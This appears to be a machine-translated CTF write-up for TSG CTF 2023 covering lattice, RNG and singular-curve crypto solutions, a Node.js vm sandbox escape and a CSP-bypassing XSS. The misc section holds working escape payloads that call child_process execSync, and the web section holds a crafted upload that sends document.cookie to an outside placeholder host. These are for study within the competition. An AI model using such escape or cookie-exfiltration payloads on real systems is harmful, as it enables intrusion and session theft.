TSG CTF 2023 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
Participated solo in nyahello and got 10th place, mainly solved a few crypto challenges, and one each in misc, web, and pwn.
Crypto
RANDOM SEED RANDOM
This challenge had a server that executed this script upon connection:
import os
import random
import string
flag = os.getenv("FLAG", "FAKECTF{THIS_IS_FAKE}")
key = [random.randrange(10 ** 4) for _ in flag]
cs = string.printable[:-6]
def r(k):
for _ in range(k):
random.seed(x := random.randrange(20231104, 20231104 * 10))
return x
random.seed(int(input("seed: ")))
print('flag:', ''.join([cs[(cs.index(f) + r(k)) % len(cs)] for f, k in zip(flag, key)]))
Since we don't know the value of key
, we can only try to control the value of r(k)
by determining the seed
. Considering it's MT19937, I thought about using z3, but since it reseeds with the output value, the complexity would be high.
Upon closer inspection, if we define:
def f(x):
random.seed(x)
return random.randrange(20231104, 20231104 * 10)
Then, if we find an , which is a fixed point of , then becomes a constant value. However, not every has a fixed point. For a function where , the probability of having a fixed point is:
As , . Therefore, for any sufficiently large , the probability of having a fixed point is not very high. In this challenge, the given also has no fixed point.
However, this is not a big problem. We can find fixed points for functions like , etc. For example, in this challenge, I found a fixed point for . This means has only three possible values.
Thus, we use that seed
to encrypt the flag, and for each character, there will be three possible values. By encrypting multiple times and taking the intersection, the character that appears most frequently is the correct one.
To find the fixed point, I did the following:
import random
from tqdm import tqdm, trange
from concurrent.futures import ProcessPoolExecutor
from math import ceil
def check_seed_range(rg):
r = random.Random()
for seed in range(*rg):
r.seed(seed)
r.seed(r.randrange(st, ed))
r.seed(r.randrange(st, ed))
if r.randrange(st, ed) == seed:
return seed
st = 20231104
ed = st * 10
split = 16
with ProcessPoolExecutor(max_workers=split) as executor:
ranges = [
(st + i * (ed - st) // split, st + (i + 1) * (ed - st) // split)
for i in range(split)
]
ranges += [(ranges[-1][1], ed)]
res = executor.map(check_seed_range, ranges)
for r in res:
if r:
print(r, flush=True)
break
Then, to decrypt the flag:
from pwn import process, remote, context
import random
import string
import numpy as np
from collections import Counter
from tqdm import trange
context.log_level = "error"
def f(x):
r = random.Random()
r.seed(x)
return r.randrange(20231104, 20231104 * 10)
fixed_point_3 = 47852311
assert f(f(f(fixed_point_3))) == fixed_point_3
def get_enc(seed):
# io = process(["python", "main.py"])
io = remote("34.84.217.62", 10960)
io.sendlineafter(b"seed: ", str(seed).encode())
io.recvuntil(b"flag: ")
enc = io.recvline().strip().decode()
io.close()
return enc
def try_fn(f, n):
for _ in range(n):
try:
return f()
except Exception as e:
pass
def get_flag_cand(seed):
cs = string.printable[:-6]
enc = try_fn(lambda: get_enc(seed), 5)
for _ in range(random.randrange(0, 3)):
seed = f(seed)
dec = "".join([cs[(cs.index(f) - seed) % len(cs)] for f in enc])
return dec
ar = np.array([list(get_flag_cand(fixed_point_3)) for _ in trange(50)])
flag = ""
for row in ar.T:
flag += Counter(row).most_common(1)[0][0]
print(flag)
# TSGCTF{D4NCE_R0BOT_D4NCE_8caa8d05ff7f}
See author's writeup, they used cycle finding.
Learning with Exploitation
from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler
from sage.crypto.lwe import LWE, samples
from sage.misc.prandom import randrange
p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
F = GF(p)
d = 100
n = 10
q = p // (2 ** 64)
D = DiscreteGaussianDistributionIntegerSampler(q // d // 6) # six sigma
lwe = LWE(n=n, q=p, D=D)
public_key = list(zip(*samples(m=d, n=n, lwe=lwe)))
private_key = lwe._LWE__s
def encrypt(m, public_key):
A, T = public_key
r = vector([F(randrange(2)) for _ in range(d)])
U = r * matrix(A)
v = r * vector(T) + m * q
return U, v
def decrypt(c, private_key):
U, v = c
return int(v - U * private_key + q // 2) // q
with open('flag.txt', 'rb') as f:
flag = f.read()
assert(len(flag) == 64)
print(f'{public_key = }')
ciphertext = []
for i in range(0, 64, 8):
m = int.from_bytes(flag[i:i+8], 'big')
c = encrypt(m, public_key)
assert(decrypt(c, private_key) == m)
ciphertext.append(c)
print(f'{ciphertext = }')
This implements an LWE encryption method (similar to Regev), with the public key:
Encryption is done using:
So decryption is:
Since is a binary vector, is expected to be small, so we can directly balance mod and integer divide by .
However, the main issue is that it has dimensions, but . Since and , each dimension provides about bits of information. The unknown has only bits, while , so using LLL should be feasible.
from sage.stats.distributions.discrete_gaussian_integer import (
DiscreteGaussianDistributionIntegerSampler,
)
from sage.crypto.lwe import LWE, samples
from sage.misc.prandom import randrange
from subprocess import check_output
from re import findall
from output import public_key, ciphertext
def flatter(M):
# compile https://github.com/keeganryan/flatter and put it in $PATH
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF
F = GF(p)
d = 100
n = 10
q = p // (2**64)
errsz = (q // d // 6).bit_length()
A, T = public_key
L = (-matrix(A).T).stack(vector(T)).change_ring(ZZ)
L = block_matrix(
[[matrix.identity(d) * p, matrix.zero(d, n + 1)], [L, matrix.identity(n + 1)]]
)
# for row in L:
# print("".join(["*" if x else " " for x in row]))
bounds = [2**errsz] * d + [2 ** p.bit_length()] * n + [1]
K = p**2
Q = diagonal_matrix([K // x for x in bounds])
L *= Q
L = flatter(L)
L /= Q
private_key = vector(F, next(v for v in L if v[-1] == 1)[-n - 1 : -1])
print(private_key)
def decrypt(c, private_key):
U, v = c
return int(v - vector(F, U) * private_key + q // 2) // q
flag = b""
for ct in ciphertext:
pt = decrypt(ct, private_key)
flag += int(pt).to_bytes(8, "big")
print(flag)
# TSGCTF{PQC_5T4NDS_FOR_"P-AND-Q_CRYPTOSY5T3M";_4LSO_KNOWN_A5_RSA}
This method is not the best for directly attacking LWE with LLL, as the lattice size is . There is a primal attack that only requires a lattice. See this paper p.36 for details.
The notation in this challenge corresponds to the slide as follows:
The following uses the slide's notation.
The special part is using row echelon form to compress the matrix from to .
Standard LWE can be written as , where is the challenge's . Transposing gives , and echelon form gives , where is a product of elementary matrices, so:
The primal attack lattice looks like:
Note that is -dimensional, so it fills the blank space.
This can be seen as , and since and are calculated in , the range is the same. Thus, the in allows us to save dimensions for . However, the original method had dimensions to capture , so I could find the private key directly from the LLL reduced matrix.
A, T = public_key
L = block_matrix(
[
[matrix(Zmod(p), A).T.echelon_form().change_ring(ZZ), 0],
[matrix.zero(d - n, n).augment(matrix.identity(d - n) * p), 0],
[matrix(ZZ, T), 1],
]
)
# for row in L:
# print("".join(["*" if x else " " for x in row]))
bounds = [2**errsz] * d + [1]
K = p**2
Q = diagonal_matrix([K // x for x in bounds])
L *= Q
L = flatter(L)
L /= Q
err = vector(F, next(v[-1] * v for v in L if abs(v[-1]) == 1)[:-1])
private_key = matrix(F, A).solve_right(vector(F, T) - err)
print(private_key)
Delta Force
from secret import flag, p, q
from random import SystemRandom
from elliptic_curve import EC
randgen = SystemRandom()
flag += randgen.randbytes(4000 // 8 - len(flag))
f = int.from_bytes(flag, 'big')
assert is_prime(p) and is_prime(q)
N = p * q
R = IntegerModRing(N)
a1 = 3444824117328398332287263145797436732251806993106742790395834211847964497185277822582276657225459760388222788879721727159251866924984494193150653447997603422024763484501407319338008268962141938450376210742802690040775147155751979207058246773645433214949878635670705292205381078390234806850698450436295039666701444937613310617521432088399287665787963949201472844240626719755639541622668049779611715534511220207225102143578882951630506067975785576764801948143058724733822144338788356792891770883002340632245863711872613052190283826616336575324956755899252734899170625497650729243855116042931056447582929301386147920258970755559531421290327063656641559627787073648816453940473655239389908124156165660612689742708373129625588902351602100066924000586976472002309478648159182392535906994995800868902052484891895077235974622067641022944028349866339918120322601296386357756768384853576175451997137719762217320524852380281306558568086807531481968542709466317624453868591793889254468119495169851711195495759784642140806249730424816684480869755835873209370137831042713895026824607183567837804652629953877811080875706500232620906814427668853420025632618707903884500390164422694087209611134445691988003327081785238633702578226975041727958225979248
a2 = 4220657222012863331324022021142115292430597859080918473466273569402786623644966310284686263413321809614975935231589489145653176283755430651257679731781262317639561791314044939921047444940366477586782714676520254598940573251619654210976091118990997406140690658178297711641467793763708001463760191631954449349373914543810395796693214118750609853712197438805175066472570862155591695398007261950273250419125590885574184123001650088433861794755115025331664101776274304102152026455526993460636375440860820326183280743695950579713987688972720640809806839932354448804340284231962944525194259756907531717198723001750563548268505211429663171672155787847084254266041562202569381862742321261337515852288555029875114541634885657856133098628215411753502113867694678392848794557484127610549206348398062803815886751442822499835138675419957858172635972565996494066738623225918806510140877651509362663492336907193615683425402286293202044753906775875048228709714069705104761393891056850481333000346334315445516137338415611089281223529138332726805624561300099605623576433557163093276115663323973176583225088838201896098818427080076586531335010187255421257962154369044435187402303275044435710879669190744621547057417343865042642742729067785757980481708859
a3 = 558053328032569214424924749545080533443204882028700727482902138363914391087914135627507971718720092171365715176468371521485896504111397460977870822260356387271441953304205921733941102285137843514136574063019959717801987678942331305387691085139598494776572670276131522348754285564338055692053988854672468173283148136803799971745169459014171760554786948833430079164649604597281764343627794445260768624935380114208794996054926094746197686261155891021796742555943693683944342826702912295474954080037614961638746950712216471978826697133699862893226784981265765142815822633931592954799220290654691131583229398813285377913420963860081950349348483037678920450399593707900050487766675868613974940533801078648072478704480320992819463523521796820516675896346804256470328012501588846038478735042417434318823499002305595773925357668467999973946928610673937683220558175159559156997545114017452579732447461296275895921770517350210742318724221387478901570280816476239783222112611595977063375839821604111374772017365123591082565390414268391105301111128872682556523124017007950528192427992576438666158999223964016832132347716369554217989660103488591183333215808683339519953259563788055147227130961325434300468212866224123613198733255438000371632201922
a4 = 2409686375529009789062931255151047632553317432871776325977708342575413199868316454516429658254297349908818913648555980905703570378332587211687821833449657319227648023632420349187191203817874908900476265222298630491560124293474130368070578796806092666424986915614853373703916476738812448576677939067552273549664051607033578697950875075526433604321513839183621143953874375023537101509580661583818118731853042627460126855311689628082748074373313182940270826734960431153626135619589835441991890840853823329308534081784864288751938169059434234048947117786007806754996810687735558766333300269431436238258613338745620540366591367671960393239014177679790515185719633955796780366907613116424879434375841785615553717631204945754610331568039531504256955328591989055229298718736414870488253515207480047458000235126179100545819505116852001595203600550936946736697235151062411659082614156384876100227239703938652351269150744501265963390460907632240209469881951684654686080310235283814858158697321466052098007166972602271670115754787224397477919994078767466888020504989901616066772072069140729395181856385314368564511799911756649356907893283650510564887020660017016305620069469798431462964593287090869656274770620420259560247021263773251031107077438
a6 = 3470078186850975739936630083585896206711668380019576458144812382551000399461688662828677551712010444136267839539406491436511536191302115255607338126938721757383820709517878001719275207381244220611138211706395289668473890524220737794043932299829801331641728237036572688318923881312268142947916987785394869895788825813684029625439890374199544512146238573470714240061775578066493778177577497298263101431584499987449107860867974717092406776136120389083101744667140157701396393579936132771094350025878985948459504771054936108295811485497516064375315362547356890406207151247645039645122690527467942787823829138406220130486124334447966832679079367832094353016955534024520702689217787284596726932360141615033646357533622370473604448340917687731406312733759882955505680683319971990286000213361326741481930432680541754817125379558827748942025713721383525941123614481097102581692748593322507617409022332312218948944026657739136377028053975532295249075420561511608283484307148039184136388494407661178023614238682702894250591567479031985618265675418397712856074006023785411792521236472702522327496551883792053117847879265359876050067289453559871911346351148700042996957200697205104421637140069904198053600305602065464319177142877679781718358115411
x = 3187380289473628229166076722741605522066106734974330968029363462853994178034889323396549034418774714004310597327299938638132972121767717298791108552121182926252120215568543440680511528729320460150972551785766528743150693345444523026329817473750107100977751329156774721144063214517285726358018274335181425122425497682910915355289941993635789204613409760838922069179423532756084124424087369187079085568561566146028731452307769275341282229672567986555625437613270131401345164990913073456655478295677780849952336452819811133154540184923229453881172046434709663594257091451745029926858800906234840424320289294896839680690069966831649763526212416442961133572796128363987883784263178284726172207323075552538055360106875136163073733438818095552239514221846774992407935815625138205772383894721080363344299257591334491217283076801413291378680281026191916099741354829618889407157244425285493750026510597867261891663671051439047441921123676903663738851276574650416199443198000844605048534594681961771316401603946312451699473847875708346024353289399679978116606272338553246201412764667063871923809515939019235129599135013826180754092409070369916743385338966842753295793028555461533907357857077718994569945179301205081583517722938903924076665161044
y = 3098509628622199032118889410483498131367153585346875063187101858846530923677876883688759300004198379875832388354339483427258628984564188587177660880817830979516874750329732607401997056978414818886317043638783781007690534739021969383875639013225069704552442992187754882339991182056369690510439789934317089638780423707333159124535609705606295588910501964436737250259915950704729890743964057623145716533126214373974194784113312896436317252284869588214466286181124050804480953801866558673847704787898982600498747562456653841097050232470321543436789172232099599127971642034835964697711543521559007789014820299180115236028167277348348032904641115578872979829671579406457760784565977595271755930086750953607663935048590611365120577239940466584901735242180094939957609545245177604315541505004948250587350636338636915644227983529643209843144781082102080871034333050105691539153291831079893973988409961640177613779257702061258595947270721984862788409947895289380176754001635912693165856017623626949014494500443988487409429044235792054307487109200214875223031796045288551137200587375732192809300189009239330821740285801646366723787253158915642748289216793582895026761306175028926426159594779782097763953591584903850004456396580915118506266981337
P = (x, y)
ec = EC(R, (a1, a2, a3, a4, a6))
assert ec.iszeropoint(P) == True
print(N)
print(ec.scalar(f, P))
This challenge has and uses a custom elliptic curve to compute , requiring you to solve the ECDLP to find .
First, constructing the curve in sage reveals it is singular, meaning and are singular curves, either cusp (triple root) or node (double root).
All curves can be transformed into short Weierstrass form, so a cusp looks like , and a node is .
A cusp is not as it doesn't fit the short Weierstrass form definition.
Using this property, we can transform into short Weierstrass form . Assuming both are nodes, using square-free factorization, we expect to be a degree 1 polynomial, allowing us to find a homomorphism from the curve to .
However, calculating causes an inversion error, so we factorize and check and , finding they are cusp and node, respectively.
For the cusp, we use this homomorphism to map to the additive group, finding :
For the node, decompose it into:
With a homomorphism:
Whether is or depends on whether is a square. In this challenge, .
Checking reveals is not smooth, but is very smooth, so we use pohlig-hellman in the subgroup of to solve the DLP for , then use CRT to find .
from elliptic_curve import EC
N = 4861176438018509277765150221122126870541685654379801604114760532814287581153000210004207389443213309449018955338869863741674740447811975915078711903955681567092381171537713559560343153877511977292098222368485399204912122010227229078270969924905169787592189375418475308051129528888568681568734206072034666373423912365236817972608366602899547226744432299234711173306225399948633496091891925021506066051269505274591577497904167584767303718241171649947539664809546498443661211509926990737931523544728384428153032760216353730801234655930548104422024130570816728659653538260845032772371478140823258876790879087834215578099103687121280145961921389449249461303695127426477060016215875089488915916633794518511956116049451487462341914580430836466289069310852902452441670591766542607475566151856004189541762250121764347455770924195541519142036527843854325635334990763891612540761801228294679227675034333748671488131374369328481523920448620362794582130982555488343842058198241325525060402667145213028907534526536473479495813172523174608010901013909785818541505226347899760377967331689016937903306728695776347712900417640623152047417427405267791933202247836823133253708561331399337585694285673510222776175851823031760492810621651225757782530492371
a1 = 3444824117328398332287263145797436732251806993106742790395834211847964497185277822582276657225459760388222788879721727159251866924984494193150653447997603422024763484501407319338008268962141938450376210742802690040775147155751979207058246773645433214949878635670705292205381078390234806850698450436295039666701444937613310617521432088399287665787963949201472844240626719755639541622668049779611715534511220207225102143578882951630506067975785576764801948143058724733822144338788356792891770883002340632245863711872613052190283826616336575324956755899252734899170625497650729243855116042931056447582929301386147920258970755559531421290327063656641559627787073648816453940473655239389908124156165660612689742708373129625588902351602100066924000586976472002309478648159182392535906994995800868902052484891895077235974622067641022944028349866339918120322601296386357756768384853576175451997137719762217320524852380281306558568086807531481968542709466317624453868591793889254468119495169851711195495759784642140806249730424816684480869755835873209370137831042713895026824607183567837804652629953877811080875706500232620906814427668853420025632618707903884500390164422694087209611134445691988003327081785238633702578226975041727958225979248
a2 = 4220657222012863331324022021142115292430597859080918473466273569402786623644966310284686263413321809614975935231589489145653176283755430651257679731781262317639561791314044939921047444940366477586782714676520254598940573251619654210976091118990997406140690658178297711641467793763708001463760191631954449349373914543810395796693214118750609853712197438805175066472570862155591695398007261950273250419125590885574184123001650088433861794755115025331664101776274304102152026455526993460636375440860820326183280743695950579713987688972720640809806839932354448804340284231962944525194259756907531717198723001750563548268505211429663171672155787847084254266041562202569381862742321261337515852288555029875114541634885657856133098628215411753502113867694678392848794557484127610549206348398062803815886751442822499835138675419957858172635972565996494066738623225918806510140877651509362663492336907193615683425402286293202044753906775875048228709714069705104761393891056850481333000346334315445516137338415611089281223529138332726805624561300099605623576433557163093276115663323973176583225088838201896098818427080076586531335010187255421257962154369044435187402303275044435710879669190744621547057417343865042642742729067785757980481708859
a3 = 558053328032569214424924749545080533443204882028700727482902138363914391087914135627507971718720092171365715176468371521485896504111397460977870822260356387271441953304205921733941102285137843514136574063019959717801987678942331305387691085139598494776572670276131522348754285564338055692053988854672468173283148136803799971745169459014171760554786948833430079164649604597281764343627794445260768624935380114208794996054926094746197686261155891021796742555943693683944342826702912295474954080037614961638746950712216471978826697133699862893226784981265765142815822633931592954799220290654691131583229398813285377913420963860081950349348483037678920450399593707900050487766675868613974940533801078648072478704480320992819463523521796820516675896346804256470328012501588846038478735042417434318823499002305595773925357668467999973946928610673937683220558175159559156997545114017452579732447461296275895921770517350210742318724221387478901570280816476239783222112611595977063375839821604111374772017365123591082565390414268391105301111128872682556523124017007950528192427992576438666158999223964016832132347716369554217989660103488591183333215808683339519953259563788055147227130961325434300468212866224123613198733255438000371632201922
a4 = 2409686375529009789062931255151047632553317432871776325977708342575413199868316454516429658254297349908818913648555980905703570378332587211687821833449657319227648023632420349187191203817874908900476265222298630491560124293474130368070578796806092666424986915614853373703916476738812448576677939067552273549664051607033578697950875075526433604321513839183621143953874375023537101509580661583818118731853042627460126855311689628082748074373313182940270826734960431153626135619589835441991890840853823329308534081784864288751938169059434234048947117786007806754996810687735558766333300269431436238258613338745620540366591367671960393239014177679790515185719633955796780366907613116424879434375841785615553717631204945754610331568039531504256955328591989055229298718736414870488253515207480047458000235126179100545819505116852001595203600550936946736697235151062411659082614156384876100227239703938652351269150744501265963390460907632240209469881951684654686080310235283814858158697321466052098007166972602271670115754787224397477919994078767466888020504989901616066772072069140729395181856385314368564511799911756649356907893283650510564887020660017016305620069469798431462964593287090869656274770620420259560247021263773251031107077438
a6 = 3470078186850975739936630083585896206711668380019576458144812382551000399461688662828677551712010444136267839539406491436511536191302115255607338126938721757383820709517878001719275207381244220611138211706395289668473890524220737794043932299829801331641728237036572688318923881312268142947916987785394869895788825813684029625439890374199544512146238573470714240061775578066493778177577497298263101431584499987449107860867974717092406776136120389083101744667140157701396393579936132771094350025878985948459504771054936108295811485497516064375315362547356890406207151247645039645122690527467942787823829138406220130486124334447966832679079367832094353016955534024520702689217787284596726932360141615033646357533622370473604448340917687731406312733759882955505680683319971990286000213361326741481930432680541754817125379558827748942025713721383525941123614481097102581692748593322507617409022332312218948944026657739136377028053975532295249075420561511608283484307148039184136388494407661178023614238682702894250591567479031985618265675418397712856074006023785411792521236472702522327496551883792053117847879265359876050067289453559871911346351148700042996957200697205104421637140069904198053600305602065464319177142877679781718358115411
Px = 3187380289473628229166076722741605522066106734974330968029363462853994178034889323396549034418774714004310597327299938638132972121767717298791108552121182926252120215568543440680511528729320460150972551785766528743150693345444523026329817473750107100977751329156774721144063214517285726358018274335181425122425497682910915355289941993635789204613409760838922069179423532756084124424087369187079085568561566146028731452307769275341282229672567986555625437613270131401345164990913073456655478295677780849952336452819811133154540184923229453881172046434709663594257091451745029926858800906234840424320289294896839680690069966831649763526212416442961133572796128363987883784263178284726172207323075552538055360106875136163073733438818095552239514221846774992407935815625138205772383894721080363344299257591334491217283076801413291378680281026191916099741354829618889407157244425285493750026510597867261891663671051439047441921123676903663738851276574650416199443198000844605048534594681961771316401603946312451699473847875708346024353289399679978116606272338553246201412764667063871923809515939019235129599135013826180754092409070369916743385338966842753295793028555461533907357857077718994569945179301205081583517722938903924076665161044
Py = 3098509628622199032118889410483498131367153585346875063187101858846530923677876883688759300004198379875832388354339483427258628984564188587177660880817830979516874750329732607401997056978414818886317043638783781007690534739021969383875639013225069704552442992187754882339991182056369690510439789934317089638780423707333159124535609705606295588910501964436737250259915950704729890743964057623145716533126214373974194784113312896436317252284869588214466286181124050804480953801866558673847704787898982600498747562456653841097050232470321543436789172232099599127971642034835964697711543521559007789014820299180115236028167277348348032904641115578872979829671579406457760784565977595271755930086750953607663935048590611365120577239940466584901735242180094939957609545245177604315541505004948250587350636338636915644227983529643209843144781082102080871034333050105691539153291831079893973988409961640177613779257702061258595947270721984862788409947895289380176754001635912693165856017623626949014494500443988487409429044235792054307487109200214875223031796045288551137200587375732192809300189009239330821740285801646366723787253158915642748289216793582895026761306175028926426159594779782097763953591584903850004456396580915118506266981337
Qx = 2940137648302822135887768405733428618361214020026143318586301618329372655276898009551187352450543631241584953409424998458467844898870748818109962017628692856154502911778246629019987248210711081379384038506544899037017094206431000794646201463294660352565581410940316447059413267990280103085282255573960006012422254599380011885107374758617951885988212493389139714778955997592191645456603116305632632160041751363247794842614094023112577912814096859442106924317927245381355215404305882813647647808165973585096785363719791485657642484540219214405059891658285454539795978892636754583882973657007442901458945664345488978832970375753192565978853522306244584220151446267601777829062885902539106413866798108556472482002577646588557387807715633128913787076005721277459341934855424070398364463323364862109833382659277887541400854089319386644417923424987803584644908821750251870682987388817038606082810492054657719015315239443896190699718636785628585029435696899067125128349522932992790811417433696577333575752911124735242072095229457254742656832308956471177564651299639347093754244273997643353109038338400428109043737885400764768339281104454669195785957709561673360000645367092746262324437783858934652428309563075654233156559693135917215127084839
Qy = 4309188751202413994756093118871339651868155545296257835957631283548458290549834043239999619160131639470537688107285148019375428000337112432317175093336043210190860875690929878131126549041446002208047334350876371320870374521378167548031473971584407464547121329256935748386784077512111069027529070091090512274046019879131201709340032343094129650445987190535015392973173123256087780783994874319281164700525019310387007282075836894663864145318825896934077504337916357614201204461113478545772364849985793786972947231991982415597625212515186739391531585821996127328710500026236144903951637427245223426748300366460373759173484339176020599231393473092295681626107718784321631623410699469438511433557396045657573993803277529816220655895923559584651137391079923579080103751692260916441921214236122141145982485958870445890303087859026075184149723430563928025165528170894575097071775485154541104075542976068077112038847635378050578747036715486956987048325200527662369726957499097289967832182678228473153601275262332757733205093157880270604049046032523006585325029448952623263419851474313757519250802143143825231591931300564658633698464656605919184597056629222214865044578470955523959024153014386918508244536074045249645182811691608730763212420747
R = Zmod(N)
proof.arithmetic(False)
ET = EllipticCurve(QQ, [a1, a2, a3, a4, a6])
E = ET.short_weierstrass_model()
phi = ET.isomorphism_to(E)
fx, fy = phi.rational_maps()
w_Px, w_Py = fx(Px, Py), fy(Px, Py)
w_Qx, w_Qy = fx(Qx, Qy), fy(Qx, Qy)
a, b = R(E.a4()), R(E.a6())
p = ZZ(gcd(a, N)) # I found this by accident
q = N // p
assert p * q == N
x = ZZ["x"].gen()
f = x**3 + a * x + b
Fp = GF(p)
Fq = GF(q)
# hmm...
print(f.change_ring(Fp).factor()) # x^3
print(f.change_ring(Fq).factor()) # (x-alpha)^2*(x-beta)
# use E(F_p) -> F_p^+ homomorphism to solve dlp mod p
f_p = (w_Qx / w_Qy) / ((w_Px / w_Py)) % p
ec_p = EC(Fp, (a1, a2, a3, a4, a6))
assert ec_p.scalar(f_p, (Px % p, Py % p)) == (Qx % p, Qy % p)
# find E(F_q) -> ? homomorphism
fs = f.change_ring(Fq).factor()
alpha = next(ZZ(-f(0)) for f, e in fs if e == 2)
beta = next(ZZ(-f(0)) for f, e in fs if e == 1)
z = Fq(alpha - beta).sqrt()
print(z) # not in F_q^*, so it is F_{q^2}^*
print(factor(q + 1)) # so smooth, yeah
Fq2 = z.parent()
def homo(wx, wy):
wx, wy = Fq2(wx), Fq2(wy)
t = z * (wx - alpha)
return (wy + t) / (wy - t)
# map to F_{q^2}^* and solve another dlp
cf = q - 1
target = homo(w_Qx, w_Qy) ** cf
base = homo(w_Px, w_Py) ** cf
od = q + 1
if base.is_square():
od //= 2
f_q = ZZ(pari.fflog(target, base, od))
# same, but slower:
# f_q = discrete_log(target, base, ord=q + 1)
f = crt([f_p, f_q], [p, od])
flag = int(f).to_bytes(5000 // 8, "big").strip(b"\x00")
print(flag)
# TSGCTF{@l1_y0u_n3Ed_IS_ReaDiNG_5ilvErman_ThE_@r1thmetic_of_e11iPtiC_cURVe5}
Misc
Functionless
const readline = require("node:readline/promises");
const vm = require("node:vm");
async function main() {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
const context = vm.createContext(undefined, {
codeGeneration: {
strings: false,
},
});
console.log("Welcome! Please input an expression.");
while (true) {
const code = await rl.question("> ");
if (/[()`]/.test(code)) {
console.log("You can't call functions!");
continue;
}
try {
const result = vm.runInContext(code, context);
console.log(result);
} catch {
console.log("Something is wrong...");
}
}
}
main();
The goal is to escape node.js vm
without calling functions.
Escaping is simple since the default parameter for context undefined
is the host object, so this.constructor.constructor
is the host Function
.
To call functions, arg instanceof {[Symbol.hasInstance]: fn}
can simulate !!fn(arg)
, allowing function calls with controlled parameters but no return value.
I found that Error.prepareStackTrace
is called by v8 with Error.prepareStackTrace(error, callsites)
, and the return value is placed in error.stack
. By setting Error.prepareStackTrace
to this.constructor.constructor
(host Function
) and controlling the toString
parameter, it might work. My initial idea was:
Error.prototype.toString=v=>'ERRSTR'
Array.prototype.toString=v=>'ARRSTR'
Error.prepareStackTrace=this.constructor.constructor
new Error
This works in the node.js repl but not in the challenge. Testing revealed that error
is the vm realm Error
, but callsites
is the host array, so callsites
toString
does not call the vm realm Array.prototype.toString
.
The error occurs because callsites
toString
converts Callsite
, which includes filename and function name information. The default filename
for vm.Script
is evalmachine.<anonymous>
, causing a Function
syntax error.
My solution was to modify this.constructor.prototype.filename
to pollute the host filename
, controlling the filename
for subsequent runInContext
calls, indirectly controlling callsites
toString
.
this.constructor.prototype.filename='console.log\x28process.mainModule.require\x28"child_process"\x29.execSync\x28"cat f*"\x29.toString\x28\x29\x29 //'
Error.prototype.toString=v=>'ERRSTR'
Error.prepareStackTrace=this.constructor.constructor
err=new Error
err.toString=err.stack
err+''
Other writeups:
Another solution from discord:
toString.constructor.prototype.toString=toString.constructor.prototype.call;
a = ["process.mainModule.require\u0028'child_process'\u0029.execSync\u0028'cat /app/flag-* 1>&2'\u0029","a"];
toString.constructor instanceof {[Symbol.hasInstance]:a.sort, __proto__: a};
Web
absurdres
There is an image upload feature:
@app.route('/image', methods=['POST'])
def post_image():
image = request.files.get('image')
if image is None:
return 'no image', 400
filename, *_, extension = os.path.basename(image.filename).split('.')
if any(c not in ascii_lowercase for c in filename):
return 'invalid filename', 400
image_data = image.read()
image_x2 = Image.open(BytesIO(image_data))
image_x1 = image_x2.resize((image_x2.width // 2, image_x2.height // 2))
image_id = md5(image_data).hexdigest()
db.images.insert_one({
'image_id': image_id,
'files': [
{
'path': f'images/{filename}.x2.{extension}',
'title': image.filename,
'zoom': 2,
},
{
'path': f'images/{filename}.x1.{extension}',
'title': image.filename,
'zoom': None,
},
],
})
image_x1.save(f'{static_dir}/images/{filename}.x1.{extension}')
image_x2.save(f'{static_dir}/images/{filename}.x2.{extension}')
return redirect(url_for('get_image', image_id=image_id))
When rendering /images/<image_id>
, these functions are called:
@app.route('/images/<image_id>', methods=['GET'])
def get_image(image_id):
image = db.images.find_one({'image_id': image_id})
return render_template('image.html.jinja', img=get_img('', image_id), image_id=image_id, files=image['files'])
def get_img(alt, image_id):
if request.path.startswith('/images/'):
image_id = request.path.split('/')[-1]
image = db.images.find_one({'image_id': image_id})
if image is None:
return ''
srcset = ', '.join(get_img_srcset(file) for file in image['files'])
return f'<img srcset="{srcset}" alt="{alt}">'
def replace_img(match):
return get_img(match.group(1).decode(), match.group(2).decode()).encode()
@app.after_request
def after_request(response):
response.direct_passthrough = False
data = response.get_data()
response.data = re.sub(b'!\\[(.*?)\\]\\((.+?)\\)', replace_img, data)
return response
The goal is to achieve XSS and bypass CSP script-src 'self' 'nonce-???'
.
For HTML injection, there is a post feature (not shown in the code above), allowing HTML injection via alt
through after_request
. However, I didn't use this in the end.
The image.html.jinja
contains this HTML:
<script nonce="{{csp_nonce()}}">
const files = {{files|json|safe}};
// omitted
</script>
files
is partially controllable, including the uploaded filename filename
. The challenge only checks if os.path.basename(image.filename).split('.')[0]
contains only lowercase letters, so there is ample space for injection.
Another difficulty is that files
is converted to JSON. If it contains 
, it might bypass the string literal and directly XSS.
This part was complex, involving trial and error based on the points above to construct executable JS. Additional techniques like <!--
as a single-line comment and DOM clobbering were used, but explaining them in detail is difficult.
#!/usr/bin/env zsh
# ddd.png is a valid png file
# need to prepare a valid domain name (e.g. abc.com)
cat ddd.png <(dd if=/dev/urandom bs=1 count=8) > tmp.png
curl 'http://34.84.176.251:55416/image' -F 'image=@tmp.png; filename="STARTEND`/window.ext+((new Image)['"'"'src'"'"']='"'"'\x2f\x2fabc\x2ecom?'"'"'+document['"'"'cookie'"'"'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->"'
md5sum tmp.png | awk '{ print $1 }'
# admin visit http://34.84.176.251:55416/images/$hash
# TSGCTF{1girl, hacker, in front of computer, hooded, in dark room, table, sitting, keyboard, 8k wallpaper, highly detailed, absurdres}
This is part of the final HTML generated at /images/$hash
for reference:
<script nonce="U03ribU1UMZFz3Q6QfCTpdmzwYm6uyrQ">
